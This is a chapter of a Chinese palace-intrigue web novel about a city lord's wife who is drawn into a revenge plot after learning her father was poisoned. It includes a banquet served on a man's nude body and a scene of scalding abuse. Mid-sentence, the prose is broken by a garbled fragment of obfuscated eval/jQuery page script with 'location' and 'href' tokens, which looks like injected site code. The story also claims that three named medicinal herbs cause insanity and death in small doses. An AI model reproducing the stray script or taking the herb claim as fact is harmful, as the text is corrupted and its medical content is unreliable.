胡骞里 作品

51.沧州城4

七月五日,云梦园的仙桃宴上。


“这就是,男体盛?”一位贵妇人围绕着像张大床的餐桌巡视了一周,忍不住地笑道:“倒是没见过这种吃饭的样子。”


“听说是从倭子国那边传来的,小国嘛,花样多。”一位簪花的夫人解释道。


“我听说呐,前天晚上古堤大柳那可是香艳的很,十几个处子之身的美姬,嘴含樱桃,面缀鲜花,体盛宴菜,光着身子躺在食案上,那等情景,惹得好几位外城贵宾鼻子都流血了,就连咱们城主——”旁边一位夫人扯住簪花夫人的袖子,使了一个眼色让她闭嘴。


一众华艳的贵妇人里走出了一位身着素锦的夫人,衣着虽清淡,然周身气势镇压宴席当场,方才愉悦接话的妇人都默默低了头,不敢再张扬。


卓文成,老城主卓不群之女,也是如今沧州城的城主夫人。


“凌夫人,这样的□□之景,就是你要送本夫人的礼物?”卓文成满脸不悦地瞪了旁边的妇人一眼。


那桌上,分明就是一具男子的裸体,再点缀果蔬鲜花,上盛有佳肴无数。纵然这男子体态肌肤之美,俨然胜过女子尤物,但也令卓文成有些恼羞。


那位夫人浅浅一笑,走到桌前拿下了覆在男子脸上的面具,露出他那我见犹怜的绝世美貌,妇人笑吟吟道:“夫人请看……”


卓文成随意一瞥,却瞬间愣住,双眸里带着惊讶,神色有些失魂落魄地恍惚。


旁边角落有两名夫人窃窃私语道:“听说夫人少女时,曾遇到一心爱的男子,可那男子天性桀骜,不肯入赘城主府,后下落不明,凌娘倒是费了好大功夫,找到和那男子相貌九分相似的少年,捧成如今曲里长眉的绝色柳姿生。”


“试想想,当年桀骜不驯的野马,如今低眉顺眼,我见犹怜的躺在这贡桌上,天下哪个女子又能忍住这等香艳情景。”


凌夫人低眉浅笑,扶着卓文成上前细细看着,见她眸色恍惚,便道:“夫人现下,觉得这道沧州名菜如何?”


卓文成扶额掩笑道:“不错。”


“那快请夫人上座,细品这道佳肴。”凌夫人笑着对众人道:“诸位夫人也请入座。”


“这菜真的能吃吗?”一位夫人有些不适道:“会不会不干净呀?”


凌夫人解释道:“这人体盛在上菜前,需要经过两个时辰的‘净身’刮光这身上各处的毛发,再用温水和无味的皂角沐浴三遍,然后用装有小麦的麻袋揉搓角质,再过温水一遍,以保证干净无汗……”


“诸位夫人,还请放心饮用。饭后妾室还为诸位在后院厢房,备有薄礼,还望诸位夫人喜欢。”


诸位夫人递换了暧昧不明的眼神,心知肚明那后院的礼物是何物。


午后,庭院的欢吟之声透过窗柩,而后院一间雅间里,柳姿生一袭青衣跪在席上,而上座的卓文成轻轻勾起了他的下颌。


“能将你送到我跟前,你背后的人没少下功夫。”卓文成轻轻一笑,抬起了脚。


柳姿生乖顺地帮城主夫人穿上了鞋袜,轻轻按捏她的腿脚,道:“能伺候夫人,是奴家三生修来的福分。”


“说罢,你背后的人想要什么?钱财?官位?权势?”卓文成慵懒地靠在织花锦的靠枕上,惬意道。


席间安静了一会,才听到男子悦耳的声音响起:“不知夫人,可还记得当年老城主的三句箴言?”


卓文成愉悦地嘴角突然一滞,眸子倏然睁开,冷瞪道:“你背后的人究竟是谁!”


柳姿生仿佛已经预料到当下的变故,双手递上了一块金色的方形物。


“一擐黄金甲,羽箭驰风雷。”卓文成神色凝重,接过那块物什喃喃道。


柳姿生恭敬道:“夫人慧眼,这正是黄金甲,老城主死前为执笔大人留下的最后一支军队。”


“当年老城主说,改制三策,执笔,执剑,坊间小道,得此三样,可策沧州。”


“我等忍辱多年,终寻得执笔大人,也托故人一问,请教夫人。”


“何问?”卓文成长眸微眯,指尖一紧。


席间,只见柳姿生跪伏在地,露出纤长柔弱的脖颈,可他声音却难得冷清道:


“他为刀俎已久时,夫人还要继续甘为鱼肉吗?”


卓文成光脚踩在冰凉的地板上,手里紧紧攥着那块黄金甲,眉眼阴郁下带着丝丝愤恨。


“同而为人,谁愿受折辱,同而为兽,谁又甘为鱼肉……”


“你背后之人是谁?”


柳姿生从袖中掏出一条长盒,打开之后,里面放着三根菖蒲香。


是夜,远方灯火如繁星点点,祠堂处一片悄然静默。


祠堂内,一位妇人梳着素钗发髻,两手扶着三根香弯腰三拜,上前走了几步插进了祖宗牌位前的香炉中。


“菖蒲之香是您生前最爱,常听你念叨,不香则已,一香惊人。”卓文成摇了摇头,惋惜道。


“难为夫人还记得,老城主的喜好。”从祠堂深处走出一名宽袍女子,眉眼暗沉,腰间配剑随着来人的步伐而响动。


“我是他的女儿,自然记得。”卓文成回头看去,眉眼一动讶然道:“竟然是你?这是我想不到的。”


“我道你已经卖身给沧州的荣华了,想不到……竟是这般落魄。”


鱼朝恩眉眼不变,而是一掀衣摆,跪在了席上,恭恭敬敬地磕上了三个响头。


“老城主生前曾说,菖蒲之香,好比女子,平时温顺可人,但发作起来生猛桀骜。”鱼朝恩回头看着身旁的女子道:“可我等了十几年,以为这菖蒲之香,要一直温顺下去。”


卓文成神色淡淡道:“美玉掩袖,利刃善藏。”


鱼朝恩嘴角扯出一抹讥讽的笑容道:“藏着藏着,刀断鞘中。”


“可惜沧州城世代传承,百年的香火,竟要断在了夫人手里。”


“你要我怎样!”卓文成猛地起身,一甩宽袖,冷瞪着鱼朝恩道:“就凭区区一支黄金卫,你敢与他相抗衡吗!”


“当年我识人不清,听着山盟海誓便当了真,却不想只是他攀云梯上的踏板,落此境地,是我咎由自取。”


“怪只怪,天下的男人都是薄情寡义,而我年老色衰,沧州城的美貌女子何其之多,就如田里韭菜,割完一茬还有一茬。”


卓文成揩掉脸上的泪水,抬起下颌冷道:“好在,我还有一子可傍身,他若死后,便是我儿继承这沧州城的位置——”


“只怕您,活不到那个时候。”鱼朝恩打断了她的话,拿出了一个棕红色的盒子,里面放着一张陈旧泛黄的药方子。


“这里面,含有麻黄、秦艽、独活三味药材,少量多次的服用,可致


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15088124|162729||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


人神志不清,癫狂衰竭,麻痹而死。”


“你说这些做什么?”卓文成皱眉不解。


“城主府后门外的第三棵柳树下挖到的,这是当年你那位好夫君,百里寻医,为老城主求来的药方子。”


仿若有一道惊雷劈在了卓文成的心里,不待她反应,鱼朝恩继续道:“你如今每日喝得汤药里,也含有那三味药材。”


卓文成双眸怒瞪,满是不可置信和震惊之色。


“当年给老城主煎药的人,是如今凌霄山派曹崆峒的弟子,江湖上称其诨名癞山婴,老城主死后,石显俎想要杀他灭口,却被他侥幸逃了……”


“在那之后,你也知道,曹崆峒联合石显俎,设局将我师父抱朴子逼死,继位凌霄山的新任掌门。两人多年运筹,在这沧州城已经是只手遮天,老城主搭建的秩序,被逐渐侵蚀,破坏,崩塌……”


“你打算,怎么做?”卓文成已经听明白鱼朝恩的意思了。


“七月七,试剑大会后的庆功宴、古堤大柳、凌霄山派,将一一血洗。”


“就凭你?”卓文成皱眉道。


“还有你,沧州城的执笔!”鱼朝恩回头,目光如炬地看向卓文成。


“既然秩序可以摧毁,那就必然可以重建。”


“我们胜算有多少?”


“世间成败生死,不过都是五五分。”鱼朝恩道。


祠堂内的香已经燃尽,阴风测测,倒是叫香炉的死灰有些复燃了起来。


卓文成袖中的指尖用力发白,神色庄肃严厉,眸中泛过一阵狠厉。


“既已穷困陌路至此。”


“那便放手一搏!”


鱼朝恩从祠堂出来后,院里的风挟沙吹来,竟有些割面之感。


“爷叫你跪着,你便只能跪着!”


祠堂外,冠濯英一袭红衣劲装,一脚踩在柳姿生的肩膀处,手里拿着一杯滚烫的茶水,倾倒在他纤细雪白的脖颈处,顿时起了一片灼红,在青衣白肤上格外显眼。


“冠濯英,你闹够了没?”鱼朝恩冷冷地看着他。


冠濯英红着眼盯着鱼朝恩,脚下更加用力,而柳姿生只能忍痛,低眉忍气吞声。


“放开他。”


“鱼朝恩!”


“我说放开他!”


冠濯英咬牙切齿,一脸不忿地松了脚,旁边挟持柳姿生的两个侍从,也赶忙松手退到了一旁。这两个主子,一年总共见不到两次面,一见面就掐架,明明冠公子心里惦记得很,却偏偏要惹鱼朝恩不快。


“朝恩,你怎么能喜欢上一个残花败柳的男子,他被多少人亵玩过你不知道吗,沧州城里的贵夫人,他哪个没伺候过——”


冠濯英一路追着鱼朝恩在墙下走着,追上前,想要挽住她的胳膊。


鱼朝恩转动剑鞘,将靠近的冠濯英推开,冷冷打断他的话道:“冠濯英,整座沧州城都不干净,你又干净到哪里去。”


这句话,像是一道霹雳般砸进了冠濯英的心里,又掀起了止不住的恶心和呕吐感,他双眸猩红,双拳紧握到颤抖,只是声音有些发抖问:“你什么时候知道的。”


鱼朝恩别过身,觉得这句话像是在揭他心里藏着最深的一道疤痕,她没有回答他的问题,而走进那条曲折幽深的巷子时,只留下一句:


“我,亦如是。”